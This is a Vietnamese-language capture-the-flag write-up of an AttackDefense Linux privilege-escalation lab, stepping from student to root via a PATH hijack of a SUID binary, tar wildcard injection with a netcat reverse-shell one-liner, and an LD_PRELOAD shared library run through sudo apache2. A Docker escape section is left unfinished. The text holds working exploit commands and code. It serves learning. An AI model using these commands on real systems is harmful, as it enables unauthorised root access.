[AttackDefense] Privilege Escalation: CTF [Oct 16-20]

Overview

Link: https://attackdefense.com/challengedetails?cid=2021
Difficulty: Medium (Để làm được thì dễ, để hiểu được thì khó :/)

Bài này yêu cầu đơn giản là leo thang đặc quyền, từ low-user đến super-user.

Privileges Escalation

student to teacher

1
2
3
student@attackdefense:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/read-submission
/usr/bin/sudo

Thấy một file binary lạ hoắc là read-submission. Điều tra thêm thông tin về thằng này.

1
2
3
4
5
6
7
8
student@attackdefense:~$ ls -al /usr/bin/read-submission
-rwsr-xr-x 1 teacher teacher 10984 Oct 10 16:17 /usr/bin/read-submission

student@attackdefense:~$ /usr/bin/read-submission
Maths: 94
Science: 85
English: 67
Economics: 88

File binary này của user teacher, và do có SUID nên user student có thể chạy file này với quyền của user teacher. Việc nó làm là hiển thị ra mấy cái điểm số kia. Tìm kiếm xem file binary này sử dụng binary nào khác không, việc này nhắm tới cách leo thang lên quyền của user teacher bằng PATH evn.

1
2
3
4
5
6
7
8
9
student@attackdefense:~$ strings /usr/bin/read-submission
...
AWAVI
AUATL
[]A\A]A^A_
read-file
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
...

Bằng cách vi diệu nào đó :)) có cái file binary này “read-file”.
Đùa đấy, ý tưởng là đang muốn leo lên quyền của user teacher, vậy nên sẽ cần recon thông tin của user teacher. Việc tìm các file thuộc sở hữu của user teacher biết đâu sẽ xem lại một vài thông tin hay ho?

1
2
3
4
5
6
7
8
student@attackdefense:~$ find / -user teacher 2>/dev/null
/usr/bin/read-submission
/usr/bin/read-file
/home/teacher
/home/teacher/backup
/home/teacher/backup/schedule
/home/teacher/FLAG1
/home/teacher/student-evaluation

Nhìn xem, /usr/bin/read-file, và lúc này tôi bắt đầu tìm trong đống strings được dump ra từ read-submission những file kia, và nhận được read-file.
Không cần biết thằng read-file nó làm cái con mẹ gì, leo quyền cái đã…

PATH Variables

1
2
3
4
5
6
7
8
9
10
student@attackdefense:~$ mkdir duma
student@attackdefense:~$ cd duma
student@attackdefense:~/duma$ echo "/bin/bash" > read-file
student@attackdefense:~/duma$ chmod +x read-file
student@attackdefense:~/duma$ export PATH=.:$PATH
student@attackdefense:~/duma$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
student@attackdefense:~/duma$ read-submission
teacher@attackdefense:~/duma$ id
uid=998(teacher) gid=999(student) groups=999(student)

Game dễ! hoặc là chưa đến đoạn khó :/

teacher to admin

Mục tiêu tiếp theo bây giờ là phải leo lên quyền của user admin. Ngó vào thư mục /home/admin xem có gì.

1
2
3
4
5
6
7
teacher@attackdefense:/home$ cd admin
teacher@attackdefense:/home/admin$ ls -al
total 20
drwxr-xr-x 1 admin admin 4096 Jan 26 10:12 .
drwxr-xr-x 1 root root 4096 Oct 10 16:17 ..
-r-------- 1 admin admin 33 Oct 10 16:17 FLAG2
-rw-rw-r-- 1 admin admin 168 Jan 26 10:28 teacher.tar.gz

Sau mấy lần chạy lệnh ls -al trong vô vọng, thấy là cái file nén teacher.tar.gz có thời gian sửa đổi rất mới, và được cập nhật/ghi đè liên tục trong một khoảng thời gian. Đoán là sẽ có một cái cronjob nào đang tác động lên nó.
Nhưng!
Đúng rồi, câu chuyện đẹp lúc đéo nào cũng bị ngắt bởi từ “Nhưng”. Tôi đéo thể tìm được cronjob nào tác động lên file nén kia cả :D
Cơ mà thấy nội dung trong file nén giống giống với nội dung bên trong thư mục /home/teacher/backup. Thế thì thử tạo thêm file trong thư mục backup đấy xem thằng admin có nén luôn cái file mình tạo không nhở :D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
teacher@attackdefense:/home/teacher/backup$ echo "Bruh!" > Nen_file_nay_di.txt 

teacher@attackdefense:/home/teacher/backup$ ls -al
total 20
drwxr-xr-x 1 teacher teacher 4096 Jan 27 02:38 .
drwxr-xr-x 1 teacher teacher 4096 Oct 10 16:17 ..
-rw-rw-r-- 1 teacher student 6 Jan 27 02:38 Nen_file_nay_di.txt
-rw-rw-r-- 1 teacher teacher 76 Oct 10 10:43 schedule

teacher@attackdefense:/home/teacher/backup$ cd ..

teacher@attackdefense:/home/teacher$ cp /home/admin/teacher.tar.gz .

teacher@attackdefense:/home/teacher$ tar -zxvf teacher.tar.gz
Nen_file_nay_di.txt
schedule

Hay lắm tml, schedule của thằng user admin nén toàn bộ thư mục backup.

Tar Wildcard Injection

Ý tưởng là sẽ đánh vào quá trình nén file của tar, anh em có thể đọc thêm ở đây Exploiting Wildcard for Privilege Escalation.

1
2
3
teacher@attackdefense:/home/teacher/backup$ echo "mkfifo /tmp/ahihi; nc localhost 4444 0</tmp/ahihi | /bin/sh >/tmp/ahihi 2>&1; rm /tmp/ahihi" > shell.sh
teacher@attackdefense:/home/teacher/backup$ echo "" > "--checkpoint-action=exec=sh shell.sh"
teacher@attackdefense:/home/teacher/backup$ echo "" > --checkpoint=1

Mở một tab khác, bật netcat để listen trên port 4444 và…

1
2
3
4
5
6
7
8
9
10
11
12
student@attackdefense:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58494
id
uid=997(admin) gid=997(admin) groups=997(admin)

# Upgrade PTY để thao tác terminal cho tiện hơn
python -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@attackdefense:/home/teacher/backup$

admin to root

Có shell của user admin rồi, giờ còn leo lên root nữa thôi. Kiểm tra sudoer của user admin.

1
2
3
4
5
6
7
8
9
10
11
12
admin@attackdefense:/home/teacher/backup$ sudo -l
Matching Defaults entries for admin on attackdefense:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
env_keep+=LD_PRELOAD

User admin may run the following commands on attackdefense:
(root) NOPASSWD: /usr/sbin/apache2

admin@attackdefense:/home/teacher/backup$ sudo apache2
[Wed Jan 27 03:02:17.276254 2021] [core:warn] [pid 364] AH00111: Config variable ${APACHE_RUN_DIR} is not defined
apache2: Syntax error on line 80 of /etc/apache2/apache2.conf: DefaultRuntimeDir must be a valid directory, absolute or relative to ServerRoot

Để ý thấy có apache2 có thể chạy với quyền sudo mà chả cần password, cơ mà, việc leo quyền với apache2 khá căng, hơn nữa file cấu hình của apache2 có vẻ đã được tuỳ biến chỗ nào đó khiến tôi đéo thể truy cập được vào các thành phần thông tin nhạy cảm bên trong.
Để ý kỹ lại một lần nữa, thấy cái dòng env_keep+=LD_PRELOAD khá lạ. Google! (Vãi cả beep kết quả tìm kiếm đầu tiên hiện ra luôn ạ Linux Privilege Escalation using LD_Preload)

LD_PRELOAD

What is LD_PRELOAD?
LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

Lằng nhằng quá, làm theo cái đã…
Tạo một file shell.c với nội dung:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

Ok, biên dịch rồi thực thi, tận hưởng :D

1
2
3
4
5
6
7
8
9
10
11
admin@attackdefense:/tmp/duma$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
admin@attackdefense:/tmp/duma$ sudo LD_PRELOAD=/tmp/duma/shell.so apache2
# bash
bash
root@attackdefense:~#

root@attackdefense:~# whoami
root

root@attackdefense:~# id
uid=0(root) gid=0(root) groups=0(root)

Ổn luôn, giờ thì leo tiếp lên máy host, vì thực chất máy linux này đang nằm trong một máy ảo, bây giờ sẽ phải vượt từ máy ảo lên máy thật :)

Docker escape

1
2
3
4
5
6
7
8
9
10
root@attackdefense:~# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Đoạn này chả hiểu gì, thôi để bao giờ hiểu thì update lại sau vậy…